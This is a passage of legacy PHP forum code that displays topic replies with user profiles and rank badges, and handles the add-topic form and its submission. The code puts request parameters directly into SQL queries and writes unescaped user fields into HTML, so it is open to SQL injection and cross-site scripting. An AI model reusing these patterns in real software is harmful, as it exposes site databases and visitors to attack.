        $nav = "<table border='0' cellspacing='0' cellpadding='0'><tr>".
        "<td class='pagelink'>$lastpage $nav_pages_def</td>$nav_prev".
        "<td>&nbsp;</td>$nav_nr".
        "<td>&nbsp;</td>$nav_next".
        "</tr></table>";

		//-----------------------------------------------------------------
		//  Make Topic old
		//-----------------------------------------------------------------

		if (isset($is_loged_in) && isset($_SESSION['topic'][$q]))
		{
			if ($_SESSION['topic'][$q] == array($forum_topic['id'],
                $forum_topic['subcat'], $forum_topic['lastpost_date']))
			{
				$array_topic_read[] = $forum_topic['id'];
				$array_topic_read[] = $forum_topic['subcat'];
				$array_topic_read[] = $forum_topic['lastpost_date'];

				$_SESSION['topic_read'][$q] = $array_topic_read;

				$tmp['forum_lastvisit'] = $forum_topic['lastpost_date'] + 1;
				$db->updateRow("users", $tmp, "id = '{$_SESSION['id']}'");
			}
            	
    		//-----------------------------------------------------------------
    		//  Make Subcat old
    		//-----------------------------------------------------------------

			$forum_subcat_topics = $db->getTable(
            "SELECT id, subcat, lastpost_date FROM forum_topics ".
            "WHERE cat = '$d' AND subcat = '$o'");

			foreach ($forum_subcat_topics as $forum_subcat_topic)
                if (in_array(array($forum_subcat_topic['id'],
                    $forum_subcat_topic['subcat'],
                    $forum_subcat_topic['lastpost_date']),
                    $_SESSION['topic']) &&
                    !in_array(array($forum_subcat_topic['id'],
                    $forum_subcat_topic['subcat'],
                    $forum_subcat_topic['lastpost_date']),
                    $_SESSION['topic_read']))
                    
					$forum_subcat_read = TRUE;

			if (!isset($forum_subcat_read) &&
                $_SESSION['subcat'][$o] == array($forum_subcat['id'],
                $forum_subcat['lastpost_date']))
			{
				$array_subcat_read[] = $forum_subcat['id'];
				$array_subcat_read[] = $forum_subcat['lastpost_date'];
				
				$_SESSION['subcat_read'][$o] = $array_subcat_read;
			}
		}

		//-----------------------------------------------------------------
		//  Start Restictions
		//-----------------------------------------------------------------

		if ($forum_subcat['type'] == "2" && isset($is_guest) ||
            $forum_subcat['type'] == "2" && isset($is_user) ||
            $forum_subcat['type'] == "2" && isset($is_moderator) ||
            $forum_subcat['type'] == "4" && isset($is_guest) ||
            $forum_subcat['type'] == "4" && isset($is_user) ||
            $forum_subcat['type'] == "6" && isset($is_guest) ||
            $forum_subcat['type'] == "6" && isset($is_user))
            
            $forum_new_topic = NULL;
		
        else
		{
			if ($config['forum_guest_topic'] == "0" && isset($is_guest))
                $forum_new_topic = NULL;
			else if ($forum_subcat['type'] == "6")
                $forum_new_topic = "<td align='right' width='15%'>".
                "<a href='$PHP_SELF?n=modules/events&a=4&s=".
                $forum_subcat['id']."'><img src='templates/$template/".
                "images/buttons/new_topic.gif' border='0' alt='".
                $language['Forum view replies desc25']."'></a></td>";
            else
                $forum_new_topic = "<td align='right' width='15%'>".
                "<a href='$PHP_SELF?n=modules/forum&a=4&d={$forum_cat['id']}".
                "&o={$forum_subcat['id']}'><img src='templates/$template/".
                "images/buttons/new_topic.gif' border='0' alt='".
                $language['Forum view replies desc25']."'></a></td>";
		}

		if ($forum_topic['mode'] == "1" && isset($is_guest) ||
            $forum_topic['mode'] == "1" && isset($is_user) ||
            $forum_topic['mode'] == "1" && isset($is_moderator) ||
            $forum_topic['type'] == "2" && isset($is_guest) ||
            $forum_topic['type'] == "2" && isset($is_user) ||
            $forum_topic['mode'] == "2" && isset($is_guest) ||
            $forum_topic['mode'] == "2" && isset($is_user) ||
            $forum_subcat['type'] == "4" && isset($is_guest) ||
            $forum_subcat['type'] == "4" && isset($is_user))
            
            $forum_add_reply = NULL;
        else
        {
            if ($config['forum_guest_reply'] == "0" && isset($is_guest))
                $forum_add_reply = NULL;
			else
                $forum_add_reply = "<td align='right' width='15%'><a href='".
                $PHP_SELF."?n=modules/forum&a=5&d={$forum_cat['id']}&o=".
                $forum_subcat['id']."&q={$forum_topic['id']}&p=$lastpage'>".
                "<img src='templates/$template/images/buttons/add_reply.gif' ".
                "border='0' alt='{$language['Forum view replies desc24']}'>".
                "</a></td>";
        }
        
        //-----------------------------------------------------------------
        //  Start display
        //-----------------------------------------------------------------
        
        echo
		"<table><tr><td></td></tr></table>".
        "<table border='0' width='100%' cellspacing='0' cellpadding='0'>".
        "<tr class='empty'><td align='left' width='70%'>$nav</td>".
        "$forum_add_reply$forum_new_topic</tr></table>".
        "<table><tr><td></td></tr></table>".
        "<table class='main' cellspacing='1' cellpadding='4'>".
        "<tr class='head'><td colspan='3'>".
        "<img src='templates/$template/images/misc/nav.gif' border='0'> ".
        "{$forum_topic['name']}</td></tr>";
        
        //-----------------------------------------------------------------
        //  Get Ranks and first min post
        //-----------------------------------------------------------------
        
        $ranks_db = $db->getTable("SELECT * FROM forum_ranks");
        $first_rank = $db->getLine("SELECT * FROM forum_ranks ORDER BY posts LIMIT 1");
        
        //-----------------------------------------------------------------
        //  Start foreach
        //-----------------------------------------------------------------
        
        foreach ($results as $idx=>$result)
        {
            //-----------------------------------------------------------------
            //  Get correct post count
            //-----------------------------------------------------------------
            
            $correct_post_count = $idx + (($p - 1) * $rows_per_page + 1);
            
            //-----------------------------------------------------------------
            //  Choose either member or guest
            //-----------------------------------------------------------------
            
            //Multilanguage selection (if exists more than one translation)
            if ($result['translations'] > 1)
            {
                //Selected language
                $new = $db->getLine("SELECT message FROM forum_replies ".
                "WHERE id = '{$result['id']}' ".
                "AND language = '$sitelanguage'");
                
                //User preferred language
                if (!$new && isset($result['uid']))
                $new = $db->getLine("SELECT message FROM forum_replies ".
                "WHERE id = '{$result['id']}' ".
                "AND language = '{$result['language']}'");
                
                //Default language
                if (!$new)
                $new = $db->getLine("SELECT message FROM forum_replies ".
                "WHERE id = '{$result['id']}' ".
                "AND language = '{$config['language']}'");
                
                if ($new) $result['message'] = $new['message'];
            }
            
			if(isset($result['uid']))
			{
				//-----------------------------------------------------------------
				//  Check see if user is online
				//-----------------------------------------------------------------

				if(isset($result['oid'])) $result['online'] = "<td width='21%'><img src='templates/$template/images/buttons/on.gif' alt='{$language['Forum view replies desc8']}'></td>";
				else $result['online'] = "<td width='24%'><img src='templates/$template/images/buttons/off.gif' alt='{$language['Forum view replies desc9']}'></td>";

				//-----------------------------------------------------------------
				//  Check and get the extra buttons from user's profile
				//-----------------------------------------------------------------

				if($result['hideemail'] != "1") $result_email = "<td width='1%'><a href='mailto:{$result['email']}'><img src='templates/$template/images/buttons/email.gif' border='0' alt='{$language['Forum view replies desc12']}'></a></td><td width='3'></td>"; else $result_email = NULL;
				if(isset($result['url'])) $result_website = "<td width='1%'><a href='http://{$result['url']}' target='_blank'><img src='templates/$template/images/buttons/www.gif' border='0' alt='{$language['Forum view replies desc13']}'></a></td><td width='3'></td>"; else $result_website = NULL;
				if(isset($result['msn'])) $result_msn = "<td width='1%'><a href='$PHP_SELF?n=modules/users&a=1&d={$result['uid']}'><img src='templates/$template/images/buttons/msn.gif' border='0' alt='{$language['Forum view replies desc14']}'></a></td><td width='3'></td>"; else $result_msn = NULL;
				if(isset($result['yahoo'])) $result_yahoo = "<td width='1%'><a href='$PHP_SELF?n=modules/users&a=1&d={$result['uid']}'><img src='templates/$template/images/buttons/yahoo.gif' border='0' alt='{$language['Forum view replies desc15']}'></a></td><td width='3'></td>"; else $result_yahoo = NULL;
				if(isset($result['icq'])) $result_icq = "<td width='1%'><a href='$PHP_SELF?n=modules/users&a=1&d={$result['uid']}'><img src='templates/$template/images/buttons/icq.gif' border='0' alt='{$language['Forum view replies desc16']}'></a></td><td width='3'></td>"; else $result_icq = NULL;
				if(isset($result['aim'])) $result_aim = "<td width='1%'><a href='$PHP_SELF?n=modules/users&a=1&d={$result['uid']}'><img src='templates/$template/images/buttons/aim.gif' border='0' alt='{$language['Forum view replies desc17']}'></a></td><td width='3'></td>"; else $result_aim = NULL;
				if(isset($result['skype'])) $result_skype = "<td width='1%'><a href='$PHP_SELF?n=modules/users&a=1&d={$result['uid']}'><img src='templates/$template/images/buttons/skype.gif' border='0' alt='{$language['Forum view replies desc18']}'></a></td><td width='3'></td>"; else $result_skype = NULL;
				if(isset($result['signature'])) $user_signature = "<br><br><br>{$language['Forum view replies desc7']}<br>".parse_message($result['signature']); else $user_signature = NULL;

				//-----------------------------------------------------------------
				//  Get the specific rank
				//-----------------------------------------------------------------

				if($ranks_db != FALSE)
				{
					if($result['authorization'] != 1) $rank = find_authorization($result['authorization']);
					else
					{
						if($result['status'] == "banned") $rank = find_status($result['status']);
						else
						{
							if ($result['forumposts'] < $first_rank['posts']) $rank = find_authorization($result['authorization']);

							foreach($ranks_db as $idx=>$cur_rank) if ($result['forumposts'] >= $cur_rank['posts']) $rank = $cur_rank['name'];
						}
					}
				}
				else $rank = find_authorization($result['authorization']);

				//-----------------------------------------------------------------
				//  Do the HTML
				//-----------------------------------------------------------------

				echo
                "<tr class='bottom'>".
                "<td width='25%'><a name='{$result['id']}'></a>".
                "<span style='font-size: 12px; font-weight: bold;'>".
                "<a href='$PHP_SELF?n=modules/users&a=1&".
                "d={$result['user_id']}'>{$result['user_user']}</a>".
                "</span></td>".
                "<td width='75%' colspan='2' align='center'>".
                "<table width='100%' cellspacing='0' cellpadding='0'>".
                "<tr class='empty'>".
                "<td width='80%' align='left'><b><font color='#848484'>".
                "<img src='templates/$template/images/buttons/date.gif' ".
                "border='0' alt='{$language['Forum view replies desc6']}'> ".
                today_yesterday($result['date'])."</font></b></td>".
                "<td width='20%' align='right'>".
                "<span class='inv'>#$correct_post_count</span></td>".
                "</tr></table></td>".
                "</tr>".
				
                "<tr><td class='con1' valign='top'>".
                "<table border='0' cellspacing='0' cellpadding='0'>".
                "<tr class='empty'>".
                "<td width='79' height='80' class='avatar'>".
                find_avatar($result['avatar'])."</td>".
                "</tr></table>".
                "$rank<br><br>".
                "{$language['Forum view replies desc']} ".
                date("d-M y", $result['registered'])."<br>";
                
                if (find_flag($result['flag'], $result['location'], true, true))
                    echo "{$language['Forum view replies desc1']} ".
                    find_flag($result['flag'], $result['location'], true, true).
                    "<br>";
                    
                echo
                "{$language['Forum view replies desc2']} ".
                "{$result['forumposts']}";

				if (isset($is_administrator) || isset($is_webmaster))
                    echo "<br><br>{$language['Forum view replies desc3']} <a ".
                    "href='http://www.dnsstuff.com/tools/whois.ch?ip=".
                    "{$result['ip']}' target='_blank' title='".
                    "{$language['Forum view replies desc4']}'>{$result['ip']}".
                    "</a>";
                
                if ($forum_subcat['type'] == "6" && $correct_post_count == 1)
                {
                    $associated_event = $db->getLine("SELECT day, month, year,".
                    " start, end, title, location, message FROM events ".
                    "WHERE topic = '$q'");
                    
                    if ($associated_event['start'])
                        $times = date("H:i", $associated_event['start'])." - ".
                                 date("H:i", $associated_event['end']);
                    else
                        $times = $language['Events view desc2'];
                        
                    $event_message =
                    "[b][u][size=11]{$associated_event['title']}[/size][/u][/b]\n\n".
                    "[b]{$language['Events add/edit desc']}[/b] ".
                    "{$associated_event['day']}/{$associated_event['month']}/".
                    "{$associated_event['year']}\n".
                    "[b]{$language['Events add/edit desc6']}[/b] $times\n".
                    "[b]{$language['Events view title4']}:[/b] ".
                    "{$associated_event['location']}\n\n".
                    "{$associated_event['message']}";
                    
                    echo
                    "</td><td valign='top' class='con6'>".
                    parse_message($event_message)."$user_signature</td>";
                }
                else
                    echo
                    "</td><td valign='top' class='con6'>".
                    parse_message($result['message'])."$user_signature</td>";

				//-----------------------------------------------------------------
				//  Do the Admin buttons
				//-----------------------------------------------------------------

				if (isset($is_administrator) && $result['authorization'] != "4" ||
                    isset($is_webmaster) ||
                    isset($is_moderator) && $result['authorization'] < "3" ||
                    isset($_SESSION['id']) && $result['user_id'] == $_SESSION['id'])
				{
					if( $forum_topic['mode'] == "1" && isset($is_guest) ||
                        $forum_topic['mode'] == "1" && isset($is_user) ||
                        $forum_topic['mode'] == "1" && isset($is_moderator))
                        
						echo "<td width='1%' class='con2' valign='top'></td>";
					else
					{
						echo "<td width='1%' class='con2' valign='top'>";

						if ($correct_post_count == 1)
						{
							if (isset($is_administrator) ||
                                isset($is_webmaster) ||
                                isset($is_moderator) ||
                                $forum_topic['mode'] != "1")
                                
                                echo "<a href='$PHP_SELF?n=modules/forum&a=7&".
                                "d={$forum_cat['id']}&o={$forum_subcat['id']}".
                                "&q={$forum_topic['id']}'><img src='templates/".
                                $template."/images/buttons/moderate.gif' ".
                                "border='0' alt='".
                                $language['Forum view replies desc23']."'></a>".
                                "<table><tr><td></td></tr></table>";
                                
							echo "<a href='$PHP_SELF?n=modules/forum&a=10&d=".
                            $forum_cat['id']."&o={$forum_subcat['id']}&q=".
                            $forum_topic['id']."'><img src='templates/".
                            $template."/images/buttons/delete2.gif' border='0'".
                            " alt='{$language['Forum view replies desc21']}'>".
                            "</a>";
						}
						else echo "<a href='$PHP_SELF?n=modules/forum&a=9&d=".
                        $forum_cat['id']."&o={$forum_subcat['id']}&q=".
                        $forum_topic['id']."&k={$result['id']}&p=$lastpage'>".
                        "<img src='templates/$template/images/buttons/".
                        "delete2.gif' border='0' alt='".
                        $language['Forum view replies desc22']."'></a>";
                        
                        if ($forum_subcat['type'] == 6)
                        {
                            if (isset($is_webmaster))
                            {
                            $edit_event = $db->getLine("SELECT day, month, ".
                            "year, id FROM events WHERE topic = '".
                            "{$forum_topic['id']}'");
                            
                            echo "<table><tr><td></td></tr></table><a href='".
                            $PHP_SELF."?n=modules/events&a=5&d={$edit_event['day']}".
                            "&m={$edit_event['month']}&ye={$edit_event['year']}&o=".
                            "{$edit_event['id']}'><img src='templates/".
                            $template."/images/buttons/edit2.gif' border='0' alt='".
                            $language['Forum view replies desc20']."'></a></td>";
                            }
                        }
                        else
                            echo "<table><tr><td></td></tr></table><a href='".
                            $PHP_SELF."?n=modules/forum&a=8&d={$forum_cat['id']}".
                            "&o={$forum_subcat['id']}&q={$forum_topic['id']}&k=".
                            $result['id']."&p=$lastpage'><img src='templates/".
                            $template."/images/buttons/edit2.gif' border='0' alt='".
                            $language['Forum view replies desc20']."'></a></td>";				
					}
				}
				else echo "<td width='1%' class='con2' valign='top'></td>";

				//-----------------------------------------------------------------
				//  Do more HTML
				//-----------------------------------------------------------------

				echo "</tr><tr class='con2'><td><table cellspacing='0' ".
                "cellpadding='0' width='100%'><tr class='empty'>".
                $result['online']."<td><a href='$PHP_SELF?n=modules/users&a=1".
                "&d={$result['uid']}'><img src='templates/$template/images/".
                "buttons/profile.gif' border='0' alt='".
                $language['Forum view replies desc10']."'></a></td><td align="."
                'right'><a href='$PHP_SELF?n=modules/pm&a=4&d={$result['uid']}".
                "'><img src='templates/$template/images/buttons/pm.gif' ".
                "border='0' alt='{$language['Forum view replies desc11']}'>".
                "</a></td></tr></table></td><td colspan='2'><table ".
                "cellspacing='0' cellpadding='0' width='100%'><tr class=".
                "'empty'>$result_email$result_website$result_msn$result_yahoo".
                "$result_icq$result_aim$result_skype<td align='right'><a href=".
                "'$PHP_SELF?n=modules/forum&a=5&d={$forum_cat['id']}&o=".
                $forum_subcat['id']."&q={$forum_topic['id']}&p=$lastpage&k=".
                $result['id']."'><img src='templates/$template/images/buttons/".
                "quote.gif' border='0' alt='".
                $language['Forum view replies desc19']."'></a></td></tr>".
                "</table></td></tr>".
				"<tr class='con4'><td colspan='3'></td></tr>";
			}
			else
			{
				//-----------------------------------------------------------------
				//  Do the HTML
				//-----------------------------------------------------------------

				echo "<tr class='bottom'><td width='25%'><a name='{$result['id']}'></a><span style='font-size: 12px; font-weight: bold;'><a href='mailto:{$result['user_email']}'>{$result['user_user']}</a></span></td><td width='75%' colspan='2' align='center'><table width='100%' cellspacing='0' cellpadding='0'><tr class='empty'><td width='80%' align='left'><b><font color='#848484'><img src='templates/$template/images/buttons/date.gif' border='0' alt='{$language['Forum view replies desc6']}'> ".today_yesterday($result['date'])."</font></b></td><td width='20%' align='right'><span class='inv'>#$correct_post_count</span></td></tr></table></td></tr>";
				echo "<tr><td class='con1' valign='top'>{$language['Forum view replies desc5']}";

				if(isset($is_administrator) || isset($is_webmaster)) echo "<br><br>{$language['Forum view replies desc3']} <a href='http://www.dnsstuff.com/tools/whois.ch?ip={$result['ip']}' target='_blank' title='{$language['Forum view replies desc4']}'>{$result['ip']}</a></td>";
				else echo "</td>";

				echo "<td valign='top' class='con6'>".parse_message($result['message'])."</td>";

				//-----------------------------------------------------------------
				//  Do the Admin buttons
				//-----------------------------------------------------------------

				if(isset($is_administrator) || isset($is_webmaster) || isset($is_moderator) || $result['ip'] == find_ip() && !isset($is_user))
				{
					echo "<td width='1%' class='con2' valign='top'>";

					if($correct_post_count == 1)
					{
						if(isset($is_administrator) || isset($is_webmaster) || isset($is_moderator)) echo "<a href='$PHP_SELF?n=modules/forum&a=7&d={$forum_cat['id']}&o={$forum_subcat['id']}&q={$forum_topic['id']}'><img src='templates/$template/images/buttons/moderate.gif' border='0' alt='{$language['Forum view replies desc23']}'></a><table><tr><td></td></tr></table>";
						echo "<a href='$PHP_SELF?n=modules/forum&a=10&d={$forum_cat['id']}&o={$forum_subcat['id']}&q={$forum_topic['id']}'><img src='templates/$template/images/buttons/delete2.gif' border='0' alt='{$language['Forum view replies desc21']}'></a>";
					}
					else echo "<a href='$PHP_SELF?n=modules/forum&a=9&d={$forum_cat['id']}&o={$forum_subcat['id']}&q={$forum_topic['id']}&k={$result['id']}&p=$lastpage'><img src='templates/$template/images/buttons/delete2.gif' border='0' alt='{$language['Forum view replies desc22']}'></a>";

					echo "<table><tr><td></td></tr></table><a href='$PHP_SELF?n=modules/forum&a=8&d={$forum_cat['id']}&o={$forum_subcat['id']}&q={$forum_topic['id']}&k={$result['id']}&p=$lastpage'><img src='templates/$template/images/buttons/edit2.gif' border='0' alt='{$language['Forum view replies desc20']}'></a></td>";
				}
				else echo "<td width='1%' class='con2' valign='top'></td>";

				//-----------------------------------------------------------------
				//  Do more HTML
				//-----------------------------------------------------------------

				echo "</tr><tr class='con2'><td></td><td colspan='2'><table cellspacing='0' cellpadding='0' width='100%'><tr class='empty'><td><a href='mailto:{$result['user_email']}'><img src='templates/$template/images/buttons/email.gif' border='0' alt='{$language['Forum view replies desc12']}'></a></td><td align='right'><a href='$PHP_SELF?n=modules/forum&a=5&d={$forum_cat['id']}&o={$forum_subcat['id']}&q={$forum_topic['id']}&p=$lastpage&k={$result['id']}'><img src='templates/$template/images/buttons/quote.gif' border='0' alt='{$language['Forum view replies desc19']}'></a></td></tr></table></td></tr>";
				echo "<tr class='con4'><td colspan='3'></td></tr>";
			}
		}

		?>
			</table>
			<table><tr><td></td></tr></table>
			<table border='0' width="100%" cellspacing="0" cellpadding="0"><tr class="empty"><td align="left" width="70%"><?= $nav ?></td><?= $forum_add_reply ?><?= $forum_new_topic ?></tr></table>
			<table><tr><td></td></tr></table>
		<?

	break;

	//-----------------------------------------------------------------
	//  Add Topic
	//-----------------------------------------------------------------
    
    case 4:
    
        //-----------------------------------------------------------------
        //  Start secondary switch
        //-----------------------------------------------------------------
        
        switch($c)
        {
            //-----------------------------------------------------------------
            //  Add the topic
            //-----------------------------------------------------------------
            
            case 1:
            
                //-----------------------------------------------------------------
                //  Start Checks
                //-----------------------------------------------------------------
                
                if (!$topic_name)
                {
                    header("Location: $PHP_SELF?n=modules/forum&a=4&d=$d&o=$o&".
                    "i=99");
                    exit;
                }
                	
                if (!$sendmessage)
                {
                    header("Location: $PHP_SELF?n=modules/forum&a=4&d=$d&o=$o&".
                    "i=100");
                    exit;
                }
                
                if (!isset($is_loged_in))
                {
                    $id = NULL;
                    
                    if (!$username)
                    {
                        header("Location: $PHP_SELF?n=modules/forum&a=4&d=$d&".
                        "o=$o&i=96");
                        exit;
                    }
                    
                    $username = jcm_htmlspecialchars(do_censor($username));
                    
                    if (!$email)
                    {
                        header("Location: $PHP_SELF?n=modules/forum&a=4&d=$d&".
                        "o=$o&i=97");
                        exit;
                    }
                    
                    if (!preg_match("#^[a-z0-9._-]+@[a-z0-9._-]+\.[a-z]+$#i",
                        $email))
                    {
                        header("Location: $PHP_SELF?n=modules/forum&a=4&d=$d&".
                        "o=$o&i=98");
                        exit;
                    }
                    
                    $topic_type = 3;
                    $author_reg = 1;
                }
                else
                {
                    $user = $db->getLine(
                    "SELECT id, username, email, forumposts FROM users ".
                    "WHERE id = '{$_SESSION['id']}' AND ".
                    "username = '{$_SESSION['username']}'");
                    
                    $id = $user['id'];
                    $username = $user['username'];
                    $email = $user['email'];
                    
                    if (isset($is_moderator) ||
                        isset($is_administrator) ||
                        isset($is_webmaster))
                        $topic_type = $topic_type;
                    else
                        $topic_type = 3;
                    
                    $author_reg = 2;
                }
                
                //-----------------------------------------------------------------
                //  BBcode check
                //-----------------------------------------------------------------
                
                for ($i = 1; $i <= 5; $i++)
                    if (check_tag_order($sendmessage) == $i)
                    {
                        header("Location: $PHP_SELF?n=modules/forum&a=4&d=$d&".
                        "o=$o&i=9$i");
                        exit;
                    }
                
                //-----------------------------------------------------------------
                //  Take care of some things
                //-----------------------------------------------------------------
                
                $topic_name = trim(jcm_stripslashes(do_censor(
                jcm_htmlspecialchars($topic_name))));
                
                $sendmessage = jcm_linebreaks(trim(
                jcm_stripslashes($sendmessage)));
                
                if ($overflow = check_tag_order($sendmessage))
                    $sendmessage = substr($sendmessage, 0, $overflow[0]).
                    substr($sendmessage, $overflow[1],
                    (strlen($sendmessage) - $overflow[0]));
                    
                if (isset($_POST['preview']))
                {
                    $_SESSION['preview']['title'] = $topic_name;
                    $_SESSION['preview']['message'] = $sendmessage;
                    header("Location: $PHP_SELF?n=modules/forum&a=4&d=$d&o=$o");
                    exit;
                }
                
                //-----------------------------------------------------------------
                //  Write in database
                //-----------------------------------------------------------------
                
                $db->insertRow("forum_topics", array("cat" => $d,
                "subcat" => $o, "date" => time(), "name" => $topic_name,
                "author_reg" => $author_reg, "author_id" => $id,
                "author_user" => $username, "author_email" => $email,
                "mode" => $topic_type, "ip" => find_ip()));
                
                $check_topic = $db->getLine("SELECT * FROM forum_topics ".
                "WHERE cat = '$d' AND subcat = '$o' ORDER BY id DESC");
                
                $db->insertRow("forum_replies", array("cat" => "$d",
                "subcat" => $o, "topic" => $check_topic['id'], "date" => time(),
                "user_reg" => $author_reg, "user_id" => $id,
                "user_user" => $username, "user_email" => $email,
                "message" => $sendmessage, "ip" => find_ip()));
                
                $check_reply = $db->getLine("SELECT * FROM forum_replies ".
                "ORDER BY id DESC");
                
                $db->updateRow("forum_subcat",
                array("lastpost_location" => $check_reply['id'],
                "lastpost_date" => time(), "lastpost_reg" => $author_reg,
                "lastpost_id" => $id, "lastpost_user" => $username,
                "lastpost_email" => $email), "id = '$o'");
                
                $db->updateRow("forum_topics",
                array("lastpost_location" => $check_reply['id'],
                "lastpost_date" => time(), "lastpost_reg" => $author_reg,
                "lastpost_id" => $id, "lastpost_user" => $username,
                "lastpost_email" => $email, "language" => $topic_language),
                "id = {$check_topic['id']}");
                
                $check_topics = $db->getInfo_countRows("forum_topics",
                "cat = '$d' AND subcat = '$o' AND type != '3'");
                
                $check_replies = $db->getInfo_countRows("forum_replies",
                "cat = '$d' AND subcat = '$o'");
                
                $db->updateRow("forum_subcat",array("topics" => $check_topics,
                "replies" => $check_replies), "id = '$o'");				
                
                if ($author_reg == "2")
                {
                    $plus_forumposts = $user['forumposts'] + 1;
                    $db->updateRow("users",
                    array("forumposts" => $plus_forumposts),
                    "id = {$user['id']}");
                }
                
                //-----------------------------------------------------------------
                //  Redirect when finished
                //-----------------------------------------------------------------
                
                header("Location: $PHP_SELF?n=modules/forum&a=3&d=$d&o=$o&".
                "q={$check_topic['id']}&i=101");
            
            break;
            
            //-----------------------------------------------------------------
            //  View topic Form
            //-----------------------------------------------------------------
            
            default:
            
                //-----------------------------------------------------------------
                //  If user is guest and restriction is turned on
                //-----------------------------------------------------------------
                
                if ($config['forum_guest_topic'] == "0" && isset($is_guest))
                {
                    header("location: $PHP_SELF?i=2");
                    exit;
                }
                
                //-----------------------------------------------------------------
                //  Breadcrumbs
                //-----------------------------------------------------------------
                
                $forum_cat = $db->getLine("SELECT * FROM forum_cat", $d);
                if (!$forum_cat) header("location: $PHP_SELF?i=error");
                
                $forum_subcat = $db->getLine("SELECT * FROM forum_subcat", $o);
                if (!$forum_subcat) header("location: $PHP_SELF?i=error");
                
                echo
                "<table class='main' cellspacing='1' cellpadding='4'>".
                "<tr class='con1'><td><a href='$PHP_SELF?n=modules/forum'>".
                "{$config['forum_name']}</a> &raquo; <a href='$PHP_SELF?".
                "n=modules/forum&a=1&d={$forum_cat['id']}'>".
                "{$forum_cat['name']}</a> &raquo; <a href='$PHP_SELF?".
                "n=modules/forum&a=2&d={$forum_cat['id']}&".
                "o={$forum_subcat['id']}'>{$forum_subcat['name']}</a></td>".
                "</tr></table>";
                
                //-----------------------------------------------------------------
                //  Check for Announcement
                //-----------------------------------------------------------------
                
                $forum_topics = $db->getTable("SELECT * FROM forum_topics ".
                "WHERE subcat = '$o'");
                
                $found = false;
                foreach ($forum_topics as $forum_topic)
                    if($forum_topic['mode'] == 1)
                        $found = TRUE;
                
                //-----------------------------------------------------------------
                //  Start Restrictions
                //-----------------------------------------------------------------
                
                if ($forum_subcat['type'] == "2" && isset($is_guest) ||
                    $forum_subcat['type'] == "2" && isset($is_user) ||
                    $forum_subcat['type'] == "2" && isset($is_moderator))
                {
                    header("location: $PHP_SELF?i=2");
                    exit;
                }
                
                if ($forum_subcat['type'] == "3" && isset($is_guest) ||
                    $forum_subcat['type'] == "3" && isset($is_user))
                {
                    header("location: $PHP_SELF?i=2");
                    exit;
                }
                
                if ($forum_subcat['type'] == "4" && isset($is_guest) ||
                    $forum_subcat['type'] == "4" && isset($is_user))
                {
                    header("location: $PHP_SELF?i=2");
                    exit;
                }
                	
                if ($forum_subcat['type'] == "5")
                    header("Location: http://".
                    "{$forum_subcat['redirect_location']}");
                
                //-----------------------------------------------------------------
                //  Start Display Form
                //-----------------------------------------------------------------
                
                if (isset($_SESSION['preview']))
                {
                    $title = $_SESSION['preview']['title'];
                    $message = $_SESSION['preview']['message'];
                    
                    echo "<br>".
                    "<table class='main' cellspacing='1' cellpadding='4'>".
                    "<tr class='head'><td>".
                    "{$language['Forum edit reply preview']}</td></tr>".
                    "<tr><td valign='top' class='con1'>".
                    parse_message($message)."</td></tr>".
                    "</table>";
                    
                    unset($_SESSION['preview']);
                }
                else
                {
                    $title = "";
                    $message = "";
                }
                
                echo "<br>".
                "<form action='$PHP_SELF?n=modules/forum' method='post' ".
                "name='textarea'>".
                "<table class='main' cellspacing='1' cellpadding='4'>".
                "<col width='25%'><col width='75%'>".
                "<tr class='head'><td colspan='2'>".
                "{$language['Forum add topic desc']} [{$forum_subcat['name']}]".
                "</td></tr>";
                
                if (!isset($is_loged_in))
                {
                    echo
                    "<tr class='con1'><td>{$language['Forum add topic desc2']}".
                    "</td><td><input style='width:40%' maxlength='35' ".
                    "class='box' name='username'></td></tr>".
                    "<tr class='con1'><td>{$language['Forum add topic desc3']}".
                    "</td><td><input style='width:40%' maxlength='35' ".
                    "class='box' name='email'></td></tr>";
                }
                
                echo
                "<tr class='con1'><td>{$language['Forum add topic desc4']}".
                "</td><td><input style='width:40%' maxlength='50' class='box' ".
                "name='topic_name' value='$title'></td></tr>";
                
                if (isset($is_moderator) ||
                    isset($is_administrator) ||
                    isset($is_webmaster))
                {
                    echo
                    "<tr class='con1'><td>{$language['Forum add topic desc5']}".
                    "</td><td><select style='width:40%' class='box' ".
                    "name='topic_type'><option value='3'>".
                    "{$language['Forum add topic desc6']}</option>";
                    
                    if (!isset($is_moderator) && !$found)
                    {
                        echo
                        "<option value='1'>".
                        "{$language['Forum add topic desc7']}</option>";
                    }
                    
                    echo
                    "<option value='2'>{$language['Forum add topic desc8']}".
                    "</option></td></tr>";
                    
                    //Show language field only if webmaster.
                    if(isset($is_webmaster))
                    {
                        $languages_db = $db->getTable("SELECT id FROM ".
                        "languages WHERE active = 1");
                        
                        echo
                        "<tr class='con1'>".
                        "<td>{$language['Forum add topic language']}</td>".
                        "<td class='con1'><select name='topic_language' ".
                        "class='box'>";
                        foreach ($languages_db as $lng)
                        {
                            echo "<option value='{$lng['id']}'>";
                            
                            if (isset($language['Language '.$lng['id']]))
                                echo $language['Language '.$lng['id']];
                            else
                                echo $lng['name'];
                            
                            echo "</option>";
                        }
                        
                        echo
                        "</select></td></tr>";
                    }
                }
                
                if ($config['emoticons'] == 1)
                {
                    echo
                    "<tr class='con1'>".
                    "<td>{$language['Forum add topic desc9']}</td>".
                    "<td>".insertSmilies(20)."</td>".
                    "</tr>";
                }
                
                if ($config['bbcode'] == 1)
                {
                    echo
                    "<tr class='con1'>".
                    "<td>{$language['Forum add topic desc10']}</td>".
                    "<td>".insertBBcode(20)."</td>".
                    "</tr>";
                }
                
                echo
                "<tr class='con1'>".
                "<td valign='top'>{$language['Forum add topic desc11']}".
                dis_bb_em(true)."</td>".
                "<td><textarea style='width:90%; height:305px;' class='box' ".
                "name='sendmessage'>$message</textarea></td>".
                "</tr>".
                "<tr class='con1'>".
                "<td>{$language['Forum add topic desc12']}</td>".
                "<td><input type='submit' style='width:120' class='box' ".
                "value='{$language['Forum add topic desc13']}'> ".
                "<input type='submit' name='preview' style='width:120' ".
                "class='box' value='{$language['Forum edit reply preview']}'>".
                "</td>".
                "</tr>".
                "</table>".
                "<input type='hidden' name='a' value='4'>".
                "<input type='hidden' name='c' value='1'>".
                "<input type='hidden' name='d' value='$d'>".
                "<input type='hidden' name='o' value='$o'>".
                "</form>";
                
            break;
        
        }
    
    break;
    
    //-----------------------------------------------------------------
    //  Add Reply
    //-----------------------------------------------------------------
    
    case 5:

		//-----------------------------------------------------------------
		//  Start secondary switch
		//-----------------------------------------------------------------

		switch($c)
		{
			//-----------------------------------------------------------------
			//  Add the reply
			//-----------------------------------------------------------------
